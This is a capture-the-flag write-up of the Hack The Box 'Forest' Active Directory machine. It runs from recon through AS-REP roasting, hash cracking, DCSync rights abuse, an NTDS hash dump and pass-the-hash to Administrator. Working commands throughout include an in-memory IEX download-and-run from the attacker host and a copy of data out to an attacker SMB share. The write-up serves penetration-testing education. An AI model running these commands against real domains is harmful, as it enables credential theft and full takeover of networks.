> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/windows/easy-boxes/forest.md). # Forest

Forest

### Recon Firstly we need to check if host is alive. ```bash ping -c 1 10.10.10.161 PING 10.10.10.161 (10.10.10.161) 56(84) bytes of data. 64 bytes from 10.10.10.161: icmp_seq=1 ttl=127 time=165 ms --- 10.10.10.161 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 165.407/165.407/165.407/0.000 ms ``` Also we got a OS, this is Windows. So now we can start scanning a target. ```bash # Nmap 7.94SVN scan initiated Sat Feb 17 18:23:16 2024 as: nmap -sC -sV -Pn -p- -T5 -oN forest 10.10.10.161 Warning: 10.10.10.161 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.10.161 Host is up (0.16s latency). Not shown: 65216 closed tcp ports (reset), 297 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-17 15:37:32Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open msrpc Microsoft Windows RPC 49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49682/tcp open msrpc Microsoft Windows RPC 49694/tcp open msrpc Microsoft Windows RPC 49706/tcp open msrpc Microsoft Windows RPC Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: FOREST | NetBIOS computer name: FOREST\x00 | Domain name: htb.local | Forest name: htb.local | FQDN: FOREST.htb.local |_ System time: 2024-02-17T07:38:25-08:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2024-02-17T15:38:27 |_ start_date: 2024-02-17T15:16:51 |_clock-skew: mean: 2h46m50s, deviation: 4h37m09s, median: 6m49s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Feb 17 18:31:47 2024 -- 1 IP address (1 host up) scanned in 511.04 seconds ``` There are couple of open ports, that usually open on Active Directories. So before enumerating a ldap and smb, Im always trying for ez fruits. ### svc-alfresco ```bash GetNPUsers.py HTB.LOCAL/ -request Impacket v0.11.0 - Copyright 2023 Fortra Name MemberOf PasswordLastSet LastLogon UAC ------------ ------------------------------------------------------ -------------------------- -------------------------- -------- svc-alfresco CN=Service Accounts,OU=Security Groups,DC=htb,DC=local 2024-02-17 18:43:29.123852 2024-02-17 18:41:17.123539 0x410200 $krb5asrep$23$svc-alfresco@HTB.LOCAL:d9a83ec5503a3a8cd68f69d8b94c9f67$75cce8f23fd46e25a0e3efe2f9a15f70dfd7f4d77583eed6c5134c61d3ad672279443e82fdce9c71fd355b2e6dd30016d19c47d96168e2f0cbe354118c5974661f4abb9a5ca58cd0a7d7063ce949484580f7c39beb23be68cfee795f735454ac080cf44fbe4966dcd4323ab5a31cb534d686fb498f243689bd64108782073e4c78f881ec8f3049e468bde2d86c30e3dc0504bcb2052732f1f4c04237a652d5a4fffcb2a4ba3f1235151d6b5ae6f452b3a3c6817d79dec7239880f4b94b0cdb0dd8f675012fe70dbc5c9e902c7732a336f5069dc9129bfb36a273ce0e197fc11cc72ab3a8ddfe ``` {% hint style="info" %} By the way this attack name is AS-REP Roasting, can be done with impacket or like kerbrute tools. {% endhint %} So we got a hash for "svc-alfresco" user, lets try to crack it offline. ```bash hashcat hash /usr/share/wordlists/rockyou.txt ``` and it cracked. ```bash svc-alfresco:s3rvice ``` So Im going try to login. ```bash nxc winrm 10.10.10.161 -u svc-alfresco -p s3rvice SMB 10.10.10.161 445 FOREST [*] Windows 10.0 Build 14393 (name:FOREST) (domain:htb.local) WINRM 10.10.10.161 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!) ``` boom, we are in! Im going to use tool evil-winrm to connect. ```bash evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir Directory: C:\Users\svc-alfresco\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/17/2024 7:17 AM 34 user.txt *Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt 3aa7c4eb30d6f23092d5a7e3affbf9a8 ``` got a user.flag ### Privilege Escalation Firstly because it is Active Directory, I would like upload a SharpHound to get a data for BloodHound. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> iwr -uri http://10.10.16.7/SharpHound.exe -OutFile sharp.exe -UseBasicParsing ``` ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> ./sharp.exe 2024-02-17T07:51:56.1873928-08:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2024-02-17T07:51:56.2029961-08:00|INFORMATION|Initializing SharpHound at 7:51 AM on 2/17/2024 2024-02-17T07:51:56.6404914-08:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote 2024-02-17T07:51:57.2029896-08:00|INFORMATION|Beginning LDAP search for htb.local 2024-02-17T07:51:57.4217559-08:00|INFORMATION|Producer has finished, closing LDAP channel 2024-02-17T07:51:57.4217559-08:00|INFORMATION|LDAP channel closed, waiting for consumers 2024-02-17T07:52:27.2501763-08:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 47 MB RAM 2024-02-17T07:52:41.9687090-08:00|INFORMATION|Consumers finished, closing output channel Closing writers 2024-02-17T07:52:42.0155906-08:00|INFORMATION|Output channel closed, waiting for output task to complete 2024-02-17T07:52:42.1405827-08:00|INFORMATION|Status: 161 objects finished (+161 3.659091)/s -- Using 52 MB RAM 2024-02-17T07:52:42.1562137-08:00|INFORMATION|Enumeration finished in 00:00:44.9476823 2024-02-17T07:52:42.2655836-08:00|INFORMATION|SharpHound Enumeration Completed at 7:52 AM on 2/17/2024! Happy Graphing! ``` To transfer this file to my host, Im going to start a smb server with impacket ```bash impacket-smbserver -smb2support share . ``` ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> net use * \\10.10.16.7\share Drive Z: is now connected to \\10.10.16.7\share. The command completed successfully. ``` ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> cp 20240217075241_BloodHound.zip Z:\ ```

BloodHound Graph

Path to "Windows Exchange Permissions" group.

So basically we can add a user to this Active Directory because of group membership, and after this we are gonna give a DCSyncs rights to this user to perform a attack. So firstly we need to add a user. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> net user musor P@ssw0rd /add /domain The command completed successfully. ``` After this we need add this user to "Windows Exchange Permissions" group. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> net group "EXCHANGE WINDOWS PERMISSIONS" musor /add /domain The command completed successfully. ``` and now we need to add a privilege. there also a hint how to do it in BloodHound.
BloodHound using a tool called PowerView, so we need upload it. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.7/PowerView.ps1") ``` {% hint style="info" %} With IEX command we directly executing a ps1 script into a memory without writing it to hard-disk. {% endhint %} Lets check if it is working. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> Get-Domain Forest : htb.local DomainControllers : {FOREST.htb.local} Children : {} DomainMode : Unknown DomainModeLevel : 7 Parent : PdcRoleOwner : FOREST.htb.local RidRoleOwner : FOREST.htb.local InfrastructureRoleOwner : FOREST.htb.local Name : htb.local ``` yup, everything is fine, now Im going to execute commands. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco> $SecPassword = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force *Evil-WinRM* PS C:\Users\svc-alfresco> $Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\musor', $SecPassword) *Evil-WinRM* PS C:\Users\svc-alfresco> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "dc=htb,dc=local" -Rights DCSync ^C Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError Error: Exiting with code 1 ``` I dont know why, but last command not working, waited a couple of minutes and just killed a shell. After searching some information on forums, there was another command to add this privilege. So lets try it. ```bash *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPass = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\musor', $SecPass) *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity musor -Credential $Cred -Rights DCSync *Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ``` Didnt say anything, means that everything is fine and working, so lets try to dump everything remote from our host with impacket-secretsdump tool. ```bash musor@kali:~/wu/Forest$ secretsdump.py HTB.LOCAL/musor:P@ssw0rd@10.10.10.161 Impacket v0.11.0 - Copyright 2023 Fortra [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_75a538d3025e4db9a:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_681f53d4942840e18:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_1b41c9286325456bb:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_9b69f1b9d2cc45549:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_7c96b981967141ebb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_c75ee099d0a64c91b:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\SM_1ffab36a2f5f479cb:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: htb.local\HealthMailboxc3d7722:1134:aad3b435b51404eeaad3b435b51404ee:4761b9904a3d88c9c9341ed081b4ec6f::: htb.local\HealthMailboxfc9daad:1135:aad3b435b51404eeaad3b435b51404ee:5e89fd2c745d7de396a0152f0e130f44::: htb.local\HealthMailboxc0a90c9:1136:aad3b435b51404eeaad3b435b51404ee:3b4ca7bcda9485fa39616888b9d43f05::: htb.local\HealthMailbox670628e:1137:aad3b435b51404eeaad3b435b51404ee:e364467872c4b4d1aad555a9e62bc88a::: htb.local\HealthMailbox968e74d:1138:aad3b435b51404eeaad3b435b51404ee:ca4f125b226a0adb0a4b1b39b7cd63a9::: htb.local\HealthMailbox6ded678:1139:aad3b435b51404eeaad3b435b51404ee:c5b934f77c3424195ed0adfaae47f555::: htb.local\HealthMailbox83d6781:1140:aad3b435b51404eeaad3b435b51404ee:9e8b2242038d28f141cc47ef932ccdf5::: htb.local\HealthMailboxfd87238:1141:aad3b435b51404eeaad3b435b51404ee:f2fa616eae0d0546fc43b768f7c9eeff::: htb.local\HealthMailboxb01ac64:1142:aad3b435b51404eeaad3b435b51404ee:0d17cfde47abc8cc3c58dc2154657203::: htb.local\HealthMailbox7108a4e:1143:aad3b435b51404eeaad3b435b51404ee:d7baeec71c5108ff181eb9ba9b60c355::: htb.local\HealthMailbox0659cc1:1144:aad3b435b51404eeaad3b435b51404ee:900a4884e1ed00dd6e36872859c03536::: htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:96246d980e3a8ceacbf9069173fa06fc::: htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3::: htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668::: htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b::: htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7::: htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072::: musor:9601:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:caec04584027f4bbcaba413616bdff1b::: EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1::: [*] Kerberos keys grabbed htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913 htb.local\Administrator:aes128-cts-hmac-sha1-96:b5880b186249a067a5f6b814a23ed375 htb.local\Administrator:des-cbc-md5:c1e049c71f57343b krbtgt:aes256-cts-hmac-sha1-96:9bf3b92c73e03eb58f698484c38039ab818ed76b4b3a0e1863d27a631f89528b krbtgt:aes128-cts-hmac-sha1-96:13a5c6b1d30320624570f65b5f755f58 krbtgt:des-cbc-md5:9dd5647a31518ca8 htb.local\HealthMailboxc3d7722:aes256-cts-hmac-sha1-96:258c91eed3f684ee002bcad834950f475b5a3f61b7aa8651c9d79911e16cdbd4 htb.local\HealthMailboxc3d7722:aes128-cts-hmac-sha1-96:47138a74b2f01f1886617cc53185864e htb.local\HealthMailboxc3d7722:des-cbc-md5:5dea94ef1c15c43e htb.local\HealthMailboxfc9daad:aes256-cts-hmac-sha1-96:6e4efe11b111e368423cba4aaa053a34a14cbf6a716cb89aab9a966d698618bf htb.local\HealthMailboxfc9daad:aes128-cts-hmac-sha1-96:9943475a1fc13e33e9b6cb2eb7158bdd htb.local\HealthMailboxfc9daad:des-cbc-md5:7c8f0b6802e0236e htb.local\HealthMailboxc0a90c9:aes256-cts-hmac-sha1-96:7ff6b5acb576598fc724a561209c0bf541299bac6044ee214c32345e0435225e htb.local\HealthMailboxc0a90c9:aes128-cts-hmac-sha1-96:ba4a1a62fc574d76949a8941075c43ed htb.local\HealthMailboxc0a90c9:des-cbc-md5:0bc8463273fed983 htb.local\HealthMailbox670628e:aes256-cts-hmac-sha1-96:a4c5f690603ff75faae7774a7cc99c0518fb5ad4425eebea19501517db4d7a91 htb.local\HealthMailbox670628e:aes128-cts-hmac-sha1-96:b723447e34a427833c1a321668c9f53f htb.local\HealthMailbox670628e:des-cbc-md5:9bba8abad9b0d01a htb.local\HealthMailbox968e74d:aes256-cts-hmac-sha1-96:1ea10e3661b3b4390e57de350043a2fe6a55dbe0902b31d2c194d2ceff76c23c htb.local\HealthMailbox968e74d:aes128-cts-hmac-sha1-96:ffe29cd2a68333d29b929e32bf18a8c8 htb.local\HealthMailbox968e74d:des-cbc-md5:68d5ae202af71c5d htb.local\HealthMailbox6ded678:aes256-cts-hmac-sha1-96:d1a475c7c77aa589e156bc3d2d92264a255f904d32ebbd79e0aa68608796ab81 htb.local\HealthMailbox6ded678:aes128-cts-hmac-sha1-96:bbe21bfc470a82c056b23c4807b54cb6 htb.local\HealthMailbox6ded678:des-cbc-md5:cbe9ce9d522c54d5 htb.local\HealthMailbox83d6781:aes256-cts-hmac-sha1-96:d8bcd237595b104a41938cb0cdc77fc729477a69e4318b1bd87d99c38c31b88a htb.local\HealthMailbox83d6781:aes128-cts-hmac-sha1-96:76dd3c944b08963e84ac29c95fb182b2 htb.local\HealthMailbox83d6781:des-cbc-md5:8f43d073d0e9ec29 htb.local\HealthMailboxfd87238:aes256-cts-hmac-sha1-96:9d05d4ed052c5ac8a4de5b34dc63e1659088eaf8c6b1650214a7445eb22b48e7 htb.local\HealthMailboxfd87238:aes128-cts-hmac-sha1-96:e507932166ad40c035f01193c8279538 htb.local\HealthMailboxfd87238:des-cbc-md5:0bc8abe526753702 htb.local\HealthMailboxb01ac64:aes256-cts-hmac-sha1-96:af4bbcd26c2cdd1c6d0c9357361610b79cdcb1f334573ad63b1e3457ddb7d352 htb.local\HealthMailboxb01ac64:aes128-cts-hmac-sha1-96:8f9484722653f5f6f88b0703ec09074d htb.local\HealthMailboxb01ac64:des-cbc-md5:97a13b7c7f40f701 htb.local\HealthMailbox7108a4e:aes256-cts-hmac-sha1-96:64aeffda174c5dba9a41d465460e2d90aeb9dd2fa511e96b747e9cf9742c75bd htb.local\HealthMailbox7108a4e:aes128-cts-hmac-sha1-96:98a0734ba6ef3e6581907151b96e9f36 htb.local\HealthMailbox7108a4e:des-cbc-md5:a7ce0446ce31aefb htb.local\HealthMailbox0659cc1:aes256-cts-hmac-sha1-96:a5a6e4e0ddbc02485d6c83a4fe4de4738409d6a8f9a5d763d69dcef633cbd40c htb.local\HealthMailbox0659cc1:aes128-cts-hmac-sha1-96:8e6977e972dfc154f0ea50e2fd52bfa3 htb.local\HealthMailbox0659cc1:des-cbc-md5:e35b497a13628054 htb.local\sebastien:aes256-cts-hmac-sha1-96:fa87efc1dcc0204efb0870cf5af01ddbb00aefed27a1bf80464e77566b543161 htb.local\sebastien:aes128-cts-hmac-sha1-96:18574c6ae9e20c558821179a107c943a htb.local\sebastien:des-cbc-md5:702a3445e0d65b58 htb.local\lucinda:aes256-cts-hmac-sha1-96:acd2f13c2bf8c8fca7bf036e59c1f1fefb6d087dbb97ff0428ab0972011067d5 htb.local\lucinda:aes128-cts-hmac-sha1-96:fc50c737058b2dcc4311b245ed0b2fad htb.local\lucinda:des-cbc-md5:a13bb56bd043a2ce htb.local\svc-alfresco:aes256-cts-hmac-sha1-96:46c50e6cc9376c2c1738d342ed813a7ffc4f42817e2e37d7b5bd426726782f32 htb.local\svc-alfresco:aes128-cts-hmac-sha1-96:e40b14320b9af95742f9799f45f2f2ea htb.local\svc-alfresco:des-cbc-md5:014ac86d0b98294a htb.local\andy:aes256-cts-hmac-sha1-96:ca2c2bb033cb703182af74e45a1c7780858bcbff1406a6be2de63b01aa3de94f htb.local\andy:aes128-cts-hmac-sha1-96:606007308c9987fb10347729ebe18ff6 htb.local\andy:des-cbc-md5:a2ab5eef017fb9da htb.local\mark:aes256-cts-hmac-sha1-96:9d306f169888c71fa26f692a756b4113bf2f0b6c666a99095aa86f7c607345f6 htb.local\mark:aes128-cts-hmac-sha1-96:a2883fccedb4cf688c4d6f608ddf0b81 htb.local\mark:des-cbc-md5:b5dff1f40b8f3be9 htb.local\santi:aes256-cts-hmac-sha1-96:8a0b0b2a61e9189cd97dd1d9042e80abe274814b5ff2f15878afe46234fb1427 htb.local\santi:aes128-cts-hmac-sha1-96:cbf9c843a3d9b718952898bdcce60c25 htb.local\santi:des-cbc-md5:4075ad528ab9e5fd musor:aes256-cts-hmac-sha1-96:2d5dd1f3135ec541120112a42bf60f72db3b31153e4b1726439617427a32de9a musor:aes128-cts-hmac-sha1-96:14f6b1e00c8e84ef20f9f3aabf5bd282 musor:des-cbc-md5:fb1a6476c7d601e6 FOREST$:aes256-cts-hmac-sha1-96:67f8c0a12345acc9987d4d0ad8ba360fa89ff6431f6910102429fb915ec76876 FOREST$:aes128-cts-hmac-sha1-96:8bddb19e375d9da087ad64829a5e9560 FOREST$:des-cbc-md5:c8132fbf73c71fa8 EXCH01$:aes256-cts-hmac-sha1-96:1a87f882a1ab851ce15a5e1f48005de99995f2da482837d49f16806099dd85b6 EXCH01$:aes128-cts-hmac-sha1-96:9ceffb340a70b055304c3cd0583edf4e EXCH01$:des-cbc-md5:8c45f44c16975129 [*] Cleaning up... ``` Perfect... We dumped entire NTDS. We can try to crack offline a NTLM hash of administartor, or just use a pass-the-hash attack. ```bash evil-winrm -i 10.10.10.161 -u administrator -H 32693b11e6aa90eb43d32c72a07ceea6 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 2/17/2024 7:17 AM 34 root.txt ty*Evil-WinRM* PS C:\Users\Administrator\Desktoptype root.txt 28f58089c5478a48915a7207a320aedd ``` and root.flag is here.